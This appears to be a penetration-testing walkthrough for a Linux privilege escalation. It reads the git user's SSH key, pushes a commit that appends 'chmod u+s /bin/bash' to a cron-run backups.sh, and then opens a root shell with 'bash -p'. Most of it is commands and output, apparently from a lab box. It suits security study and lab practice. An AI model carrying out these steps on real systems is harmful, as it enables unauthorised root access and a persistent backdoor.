GIT ABUSE

PRIMARY CATEGORY → LINUX PRIVESC

Abusing Writable Git Hooks

🛠️⌛

---

Cron-Driven Git Repository Poisoning

Theory

This attack occurs when a privileged user periodically synchronizes a local working tree with a GIT repository and subsequently executes a file from the updated working tree.

If an attacker can push changes to the trusted repository, they can modify the executed file without requiring direct write permissions over the privileged working tree.

The complete execution flow is:

• The attacker pushes a malicious commit to a Git repository

• A privileged scheduled task pulls the commit into another working tree

e.g. A CRON Job run as root

• A second privileged task executes the modified file

• The attacker’s code consequently runs with the privileges of the scheduled task

In this scenario, /git-server is a bare repository. A bare repository contains Git metadata directly in its root and does not have a checked-out working tree or a separate .git/ directory.

A restricted git-shell does not provide an interactive system shell. However, it intentionally allows the server-side Git commands required by operations such as clone, fetch and push:

• git-upload-pack — Sends repository objects during clone and fetch operations

• git-receive-pack — Receives objects and updates references during push operations

• git-upload-archive — Provides remote Git archives

Therefore, escaping from git-shell is unnecessary. A valid SSH identity for the git user can be used directly by the Git client.

This technique does not abuse Git hooks. The attacker modifies a tracked file that a privileged process later pulls and executes.

Requirements

• A privileged scheduled task must periodically update a working tree from a Git repository

• A privileged process must subsequently execute a tracked file from that updated working tree

• The attacker must be able to push commits to the branch used by the privileged working tree

• The modified file must be executed after the malicious commit has been pulled

• The attacker must control a repository identity with permission to update the relevant remote reference

Enumeration

Discovering Scheduled Tasks

First, we check the standard Cron configuration locations →

cat /etc/crontab
ls -la /etc/cron.d
ls -la /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly

But we get nothing

Then, we discover a backup file named /etc/crontab.bak:

cat /etc/crontab.bak

/etc/crontab.bak

*/3 * * * * /root/git-server/backups.sh
*/2 * * * * /root/pull.sh

The file suggests that one task updates a repository and another executes backups.sh.

However, a .bak file is not automatically processed by Cron and does not prove that the tasks are currently active.

Monitoring Scheduled Processes

Therefore, we can upload a pspy binary to confirm the real processes, execution order and effective user

chmod +x pspy
./pspy

Command Output

<SNIP>
2026/10/22 17:32:01 CMD: UID=0 PID=3261 | /bin/sh -c /root/pull.sh
2026/10/22 17:32:01 CMD: UID=0 PID=3264 | git-upload-pack '/git-server'
2026/10/22 17:32:01 CMD: UID=0 PID=3265 | /usr/lib/git-core/git rev-list --objects --stdin --not --all --quiet --alternate-refs
2026/10/22 17:32:01 CMD: UID=0 PID=3267 | /usr/lib/git-core/git maintenance run --auto --no-quiet
<SNIP>
2026/10/22 17:33:01 CMD: UID=0 PID=3272 | /bin/bash /root/git-server/backups.sh
<SNIP>

The UID=0 entries confirm that ROOT:

• Executes /root/pull.sh

• Reads objects from /git-server

• Executes /root/git-server/backups.sh

The process information establishes the relevant trust relationship:

/git-server
        │
        │ ROOT pulls changes
        ▼
/root/git-server
        │
        │ ROOT executes backups.sh
        ▼
Privileged command execution

Identifying the Bare Repository

Inspect /git-server:

ls -la /git-server

Command Output

drwxr-xr-x  7 git  git  4096 Oct 22 16:37 .
drwxr-xr-x 18 root root 4096 Nov 10  2020 ..
-rw-r--r--  1 git  git    23 Nov  5  2020 HEAD
drwxr-xr-x  2 git  git  4096 Nov  5  2020 branches
-rw-r--r--  1 git  git    66 Nov  5  2020 config
-rw-r--r--  1 git  git    73 Nov  5  2020 description
drwxr-xr-x  2 git  git  4096 Nov  5  2020 hooks
drwxr-xr-x  2 git  git  4096 Nov  5  2020 info
drwxr-xr-x 24 git  git  4096 Oct 22 16:37 objects
drwxr-xr-x  4 git  git  4096 Nov  5  2020 refs

The presence of HEAD, objects/, refs/ and config directly inside the directory indicates that it is a bare Git repository

Inspecting the Repository Contents

If the repository is readable, we can create a temporary read-only clone →

git clone 'file:///git-server' /tmp/git-recon

Inspect the checked-out files:

ls -la /tmp/git-recon

Command Output

drwxr-xr-x 3 dademola dademola 120 Oct 22 17:05 .
drwxrwxrwt 9 root     root     220 Oct 22 17:05 ..
drwxr-xr-x 8 dademola dademola 260 Oct 22 17:05 .git
-rw-r--r-- 1 dademola dademola   0 Oct 22 17:05 NEW_CHANGE
-rw-r--r-- 1 dademola dademola  63 Oct 22 17:05 README
-rwxr-xr-x 1 dademola dademola  77 Oct 22 17:05 backups.sh

The clone contains backups.sh, which matches the file executed by ROOT from /root/git-server/backups.sh.

Inspect its current content:

cat /tmp/git-recon/backups.sh

Command Output

#!/bin/bash
 
<LEGITIMATE_COMMANDS>

Checking Repository Write Permissions

Check every component of the repository path:

namei -l /git-server

Check whether the current user can create files directly inside it:

test -w /git-server && echo 'Writable' || echo 'Not writable'

Command Output

Not writable

The repository and its objects are owned by git:git. Our current user can read and clone the repository but cannot directly modify its objects, references or hooks.

Discovering the Git User’s SSH Key

Inspect the Git user’s SSH directory:

namei -l /home/git/.ssh
ls -la /home/git/.ssh

Command Output

drwx------ 2 git git 4096 Nov 10 2020 .
drwxr-xr-x 4 git git 4096 Nov 10 2020 ..
-rw------- 1 git git 1679 Nov 10 2020 id_rsa
-rw-r--r-- 1 git git  395 Nov 10 2020 id_rsa.pub
-rw------- 1 git git  395 Nov 10 2020 authorized_keys

Verify that the private key is readable:

test -r /home/git/.ssh/id_rsa && 

Command Output

Readable

A readable private key can be used only if its corresponding public key is trusted by the SSH service and the key is not protected by an unknown passphrase.

Inspecting the Git Login Shell

Attempting an interactive SSH connection as git lands in the restricted git-shell environment or is rejected:

ssh -p <SSH_PORT> -i /home/git/.ssh/id_rsa git@localhost

Command Output

fatal: Interactive git shell is not enabled.
Connection to localhost closed.

This restriction does not prevent Git operations. Git communicates through explicitly permitted server-side commands instead of requiring an interactive shell.

Abuse

Importing the Key into SSH-Agent

Start an SSH agent for the current shell:

eval "$( ssh-agent )"

Import the Git user’s private key:

ssh-add /home/git/.ssh/id_rsa

Command Output

Identity added: /home/git/.ssh/id_rsa

Confirm that the identity is loaded:

ssh-add -l

Command Output

<BITS> SHA256:<FINGERPRINT> /home/git/.ssh/id_rsa (RSA)

The agent provides the private key automatically when Git establishes its SSH connection

Cloning the Repository through SSH

Clone the bare repository through SSH as the git user →

rm -rf /tmp/git-server
git clone 'ssh://git@localhost:<SSH_PORT>/git-server' /tmp/git-server

When using the ssh:// URL format, the path after the host and port is interpreted as an absolute path on the remote system.

During the clone, Git effectively requests the following restricted command through SSH:

git-upload-pack '/git-server'

This command is allowed by git-shell.

Inspect the configured remote and current branch:

git -C /tmp/git-server remote -v
git -C /tmp/git-server branch --show-current
git -C /tmp/git-server status

Command Output

origin  ssh://git@localhost:<SSH_PORT>/git-server (fetch)
origin  ssh://git@localhost:<SSH_PORT>/git-server (push)
master
On branch master
Your branch is up to date with 'origin/master'.
 
nothing to commit, working tree clean

Adding the Payload

Append a command that adds the SUID permission to /bin/bash:

printf '\n/usr/bin/chmod u+s /bin/bash\n' >> /tmp/git-server/backups.sh

The filename is backups.sh. Using backups.bash would modify a different file that the privileged task does not execute.

Committing the Change

• Configure a repository-local Git identity

git -C /tmp/git-server config --local user.name '0xkholod'
git -C /tmp/git-server config --local user.email '0xkholod@pwned.com'

• Stage only the modified script

git -C /tmp/git-server add -- backups.sh

• Create the commit:

git -C /tmp/git-server commit -m 'Update backup script'

Command Output

[master <COMMIT_ID>] Update backup script
 1 file changed, 2 insertions(+)

Pushing the Malicious Commit

Push the current branch to the bare repository:

git -C /tmp/git-server push origin HEAD

The command runs as the git operating-system user. Since that user owns /git-server, Git can write the new objects and update the branch reference.

Command Output

Enumerating objects: <COUNT>, done.
Counting objects: 100% (<COUNT>/<COUNT>), done.
Writing objects: 100% (<COUNT>/<COUNT>), done.
To ssh://localhost:<SSH_PORT>/git-server
   <OLD_COMMIT>..<NEW_COMMIT>  HEAD -> master

The push updates the repository history. It does not directly modify the files inside /root/git-server.

Waiting for the Privileged Pull

Monitor the processes again:

./pspy

The first scheduled task should retrieve the malicious commit:

Command Output

<SNIP>
2026/10/22 17:38:01 CMD: UID=0 PID=<PID> | /bin/sh -c /root/pull.sh
2026/10/22 17:38:01 CMD: UID=0 PID=<PID> | git-upload-pack '/git-server'
<SNIP>

The privileged working tree should now contain the modified version of backups.sh.

A successful push alone is insufficient. The attack works only after ROOT pulls the pushed commit into /root/git-server.

Waiting for Privileged Execution

The second scheduled task executes the updated script:

Command Output

<SNIP>
2026/10/22 17:39:01 CMD: UID=0 PID=<PID> | /bin/bash /root/git-server/backups.sh
2026/10/22 17:39:01 CMD: UID=0 PID=<PID> | /usr/bin/chmod u+s /bin/bash
<SNIP>

Since the script is executed with UID=0, the appended command runs as ROOT.

Verifying the Payload

Check the permissions of /bin/bash:

ls -l /bin/bash

Command Output

-rwsr-xr-x 1 root root <SIZE> <DATE> /bin/bash

Spawn Bash while preserving its effective user ID:

/bin/bash -p

Verify the resulting privileges:

id

Command Output

uid=<USER_ID>(dademola) gid=<GROUP_ID>(dademola) euid=0(root) groups=<GROUPS>

The -p option is required because Bash normally drops elevated effective privileges when real and effective user IDs differ.